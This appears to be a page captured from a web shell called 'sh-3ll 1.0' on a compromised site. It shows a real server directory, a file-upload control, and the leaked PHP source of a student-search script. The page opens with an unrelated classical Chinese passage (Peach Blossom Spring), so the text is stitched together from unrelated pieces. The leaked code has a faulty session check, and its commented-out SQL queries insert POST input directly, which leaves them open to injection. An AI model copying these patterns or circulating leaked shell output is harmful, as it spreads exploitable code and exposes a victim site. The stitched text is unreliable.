晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/home/bolconlineco/public_html/coordinator/
Upload File :
Current File : /home/bolconlineco/public_html/coordinator/search_query_reg.php
<?php
ob_start();
session_start();

if(!isset($_SESSION['coordinator']) && $_SESSION['coordinatorrole'] != 2) {
    header("location:../index.php");
    exit('d');
}else{
	$coordinator = $_SESSION['coordinator'];
	$coordinatorrole = $_SESSION['coordinatorrole'];
}
include('../includes/connection/func.inc.php');
header('Cache-Control: max-age=900'); ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
 

  
<?php


 
// $_SESSION['coordinator'] = $coordinator;
// $_SESSION['coordinatorrole'] = $coordinatorrole;
// echo $_SESSION['coordinator'];exit;
if(isset($_POST['Search']))

{
    unset($_SESSION['student_search']);
session_destroy($_SESSION['student_search']);


    if(!empty($_POST['studentId']))
    {

    	$_SESSION['student_search']['studentId'] =$_POST['studentId'];
        // $studentId=sql_strip($_POST['studentId']);
        // $result=mysql_query("select * from student where rollno='$studentId'");

    }elseif(!empty($_POST['number']))
    {

        $_SESSION['student_search']['number'] =$_POST['number'];

    }elseif(!empty($_POST['phone']))
    {

        $_SESSION['student_search']['phone'] =$_POST['phone'];

    }else if(!empty($_POST['email']))  {
    	 $_SESSION['student_search']['email'] =$_POST['email'];
        // $email=sql_strip($_POST['email']);
        // $result=mysql_query("select * from student where email like '%$email%'");

    }else if(!empty($_POST['firstname']))
    {
    	$_SESSION['student_search']['firstname'] =$_POST['firstname'];
//    	header("Location: search_reg.php");
        // $firstname=sql_strip($_POST['firstname']);
        // $result=mysql_query("select * from student where fname like '%$firstname%' order by registrationdate");
        // $num=mysql_num_rows($result);

    }else if(!empty($_POST['lastname']))
    {
    	$_SESSION['student_search']['lastname'] =$_POST['lastname'];
        // $lastname=sql_strip($_POST['lastname']);
        // $result=mysql_query("select * from student where lname like '%$lastname%' order by registrationdate");

    }else if(!empty($_POST['tutor']))
    {
    	$_SESSION['student_search']['tutor'] =$_POST['tutor'];
        // Return more rows
        // $tutr=sql_strip($_POST['tutor']);

        // $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
    				// 		 ac.tutorId='$tutr' order by registrationdate");



    }else if(!empty($_POST['country']))
    {
    	$_SESSION['student_search']['country'] =$_POST['country'];
    //     $country=$_POST['country'];
    //     $result=mysql_query("select * from student where country like '%$country%' order by registrationdate");

    }else if(!empty($_POST['city']))
    {
    	$_SESSION['student_search']['city'] =$_POST['city'];
        // $city=sql_strip($_POST['city']);
        // $result=mysql_query("select * from student where city like '%$city%' order by registrationdate");


    }else if(!empty($_POST['dob']))
    {
    	$_SESSION['student_search']['dob'] =$_POST['dob'];
        // $dob=$_POST['dob'];
        // $d1=explode('/',$dob);
        // $new=$d1[2].'-'.$d1[1].'-'.$d1[0];
        // $result=mysql_query("select * from student where dob='$new' order by registrationdate");

    }else if(!empty($_POST['registfrom']) && !empty($_POST['rto'])&& !empty($_POST['sstatus'])){

    	//$_SESSION['student_search']['registfrom'] =$_POST['registfrom'];
    	//$_SESSION['student_search']['rto'] =$_POST['rto'];
    	//$_SESSION['student_search']['sstatus'] =$_POST['sstatus'];
        $date2=$_POST['registfrom'];
        $full2=explode('/',$date2);

        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('/',$date1);
        $sta=$_POST['sstatus'];

        $rto=$full[2].'-'.$full[1].'-'.$full[0];

    // 
        $from=date('Y-m-d',strtotime($_POST['registfrom']));
        $too=date('Y-m-d',strtotime($_POST['rto']));
        // $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
    						   // s.registrationdate between '$rfrom' and '$rto' and studentstatus='$sta' order by s.registrationdate");


    } else if (!empty($_POST['registfrom']) && !empty($_POST['rto'])) {

    	$_SESSION['student_search']['registfrom'] =$_POST['registfrom'];
    	$_SESSION['student_search']['rto'] =$_POST['rto'];
        $date2=$_POST['registfrom'];
        $full2=explode('/',$date2);

        $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        $date1=$_POST['rto'];
        $full=explode('/',$date1);


        $rto=$full[2].'-'.$full[1].'-'.$full[0];

     
        // $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
    				// 		   s.registrationdate between '$rfrom' and '$rto' order by s.registrationdate");


    }
    else if(!empty($_POST['compfrom']) && !empty($_POST['compto'])){

    	$_SESSION['student_search']['compfrom'] =$_POST['compfrom'];
    	$_SESSION['student_search']['compto'] =$_POST['compto'];
        // $date2=$_POST['compfrom'];
        // $full2=explode('/',$date2);

        // $rfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        // $date1=$_POST['compto'];
        // $full=explode('/',$date1);


        // $rto=$full[2].'-'.$full[1].'-'.$full[0];


        // //$from=date('Y-m-d',strtotime($_POST['registfrom']));
        // //$too=date('Y-m-d',strtotime($_POST['rto']));
        // $result=mysql_query("select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno where
    				// 		   s.comp_date between '$rfrom' and '$rto' order by s.registrationdate");

    }

    else if(!empty($_POST['taskfrom']) && !empty($_POST['taskto'])) {

    	$_SESSION['student_search']['taskfrom'] =$_POST['taskfrom'];
    	$_SESSION['student_search']['taskto'] =$_POST['taskto'];

        // $date2=$_POST['taskfrom'];
        // $full2=explode('/',$date2);

        // $taskfrom=$full2[2].'-'.$full2[1].'-'.$full2[0];

        // $date1=$_POST['taskto'];
        // $full=explode('/',$date1);

        // $taskto=$full[2].'-'.$full[1].'-'.$full[0];
        // $result=mysql_query("select s.*,t.* from student as s join tasks as t on s.rollno=t.rollno where
    				// 		   t.taskdate between '$taskfrom' and '$taskto' group by s.rollno order by t.taskdate,s.registrationdate");
    } else if(!empty($_POST['assg_task'])) {

    	$_SESSION['student_search']['assg_task'] =$_POST['assg_task'];

    //     $result=mysql_query("select s.*,t.* from student as s join tasks as t on s.rollno=t.rollno where t.assigned_to = '".$_POST['assg_task']."' group by s.rollno order by t.taskdate,s.registrationdate");
    }
    else if(!empty($_POST['balfrom']) && !empty($_POST['balto'])){

    	$_SESSION['student_search']['balfrom'] =$_POST['balfrom'];
    	$_SESSION['student_search']['balto'] =$_POST['balto'];

        // $balfrom=date($_POST['balfrom']);
        // $balto=date($_POST['balto']);

        // //$result=mysql_query("select s.*,sum(tf.paid) as total from student as s inner  join  tbl_fees_install as tf on s.rollno=tf.rollno group by s.rollno having total between '$balfrom' and '$balto' ") or die(mysql_error());
        // // $result=mysql_query("select s.*,abs(sum(tf.payble)-sum(f.paid)) as total from student as s  join  tbl_fees_install as tf on s.rollno=tf.rollno  join tbl_install as f on tf.rollno=f.rollno group by s.rollno having total between '$balfrom' and '$balto'") or die(mysql_error());
        // $result=mysql_query("select s.*,abs(sum(f.payble)-sum(f.paid)) as total_dues from student as s join tbl_fees_install as f on s.rollno=f.rollno group by rollno having total_dues between '$balfrom' and '$balto'");

    }

    else if(!empty($_POST['from']) && !empty($_POST['to'])){

    	$_SESSION['student_search']['from'] =$_POST['from'];
    	$_SESSION['student_search']['to'] =$_POST['to'];

        // $formm=date($_POST['from']);
        // $full1=explode('/',$formm);
        // $too=date($_POST['to']);
        // $full2=explode('/',$too);
        // $f=$full1[2].'-'.$full1[1].'-'.$full1[0];
        // $t=$full2[2].'-'.$full2[1].'-'.$full2[0];
        // if(isset($_POST['assg_all']))
        // {

        //     $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where   ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
        // }
        // else if(isset($_POST['assg_comp']))
        // {

        //     $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=0 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
        // }
        // else
        // {

        //     $result=mysql_query("select s.*,ua.* from student as s join uploadassignment as ua on  s.rollno=ua.rollno where ua.uploadStatus=1 and  ua.uploaddate between '$f' and '$t' group by s.rollno order by ua.uploaddate desc") or die(mysql_error());
        // }

    }else if(!empty($_POST['category']) && !empty($_POST['course']))
    {
    $_SESSION['student_search']['category'] =$_POST['category'];
    $_SESSION['student_search']['course'] =$_POST['course'];

        //$category=sql_strip($_POST['category']);
        // $course=sql_strip($_POST['course']);
        // $query="select s.*,ac.* from student as s join assigncourse as ac on s.rollno=ac.rollno
    				// 		where  ac.courseid='$course' order by s.registrationdate";
        // $result=mysql_query($query) or die(mysql_error());



    } else if(!empty($_POST['sstatus'])) {

    	$_SESSION['student_search']['sstatus'] =$_POST['sstatus'];
        // $status=sql_strip($_POST['sstatus']);
        // //$query="select * from student where studentstatus='$status'";
        // $result=mysql_query("select * from student where studentstatus='$status' order by registrationdate");
    } else if(!empty($_POST['stage'])) {
    	$_SESSION['student_search']['stage'] =$_POST['stage'];
        // $stage=sql_strip($_POST['stage']);
        // //$query="select * from student where studentstatus='$status'";
        // $result=mysql_query("select * from student where stage='$stage' order by registrationdate");
    }
    //redirect('location','search.php');
    $_SESSION['student_search']['Search'] =$_POST['Search'];

    header("Location: search_reg.php");
    exit;
}